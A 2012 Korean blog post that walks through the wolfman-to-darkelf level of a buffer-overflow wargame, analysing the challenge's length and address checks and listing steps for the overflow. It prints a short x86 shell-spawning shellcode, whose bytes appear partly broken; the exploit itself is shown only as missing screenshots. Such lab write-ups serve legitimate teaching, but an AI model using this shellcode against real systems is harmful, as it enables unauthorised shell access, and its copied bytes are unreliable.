jam 블로그

[bof 원정대] wolfman -> darkelf (egghunter, buffer hunter, check length of argv[1]) 본문

해킹/시스템

[bof 원정대] wolfman -> darkelf (egghunter, buffer hunter, check length of argv[1])

kid1412 2012. 3. 19. 18:57
728x90
우리가 풀 문제 소스이다.

 [그림 1] wolfman.c

소스 분석
1.  buffer의 크기는 40
2. 인자값은 적어도 하나 이상
3. 환경변수 초기화
4. 첫번째 인자값의 48번째는 \xbf
5. 첫번째 인자값이 48보다 크면 안됨
6. buffer 초기화 

 
풀기 위한  과정입니다.

0. bash2
1. 40byte 이내의 shellcode
2. argv[1]의 주소값
3. bof 공격 

 
 1. 40byte 이내의 shellcode

"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69
\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"


 2. argv[1]의 주소값

 [그림 2] argv[1]의 주소값

 
3. bof 공격

 [그림 3] bof 공격

이 공격 또한 주소값이 정확한것이 아니기 때문에 약간의 변경이 필요합니다. 

 
Comments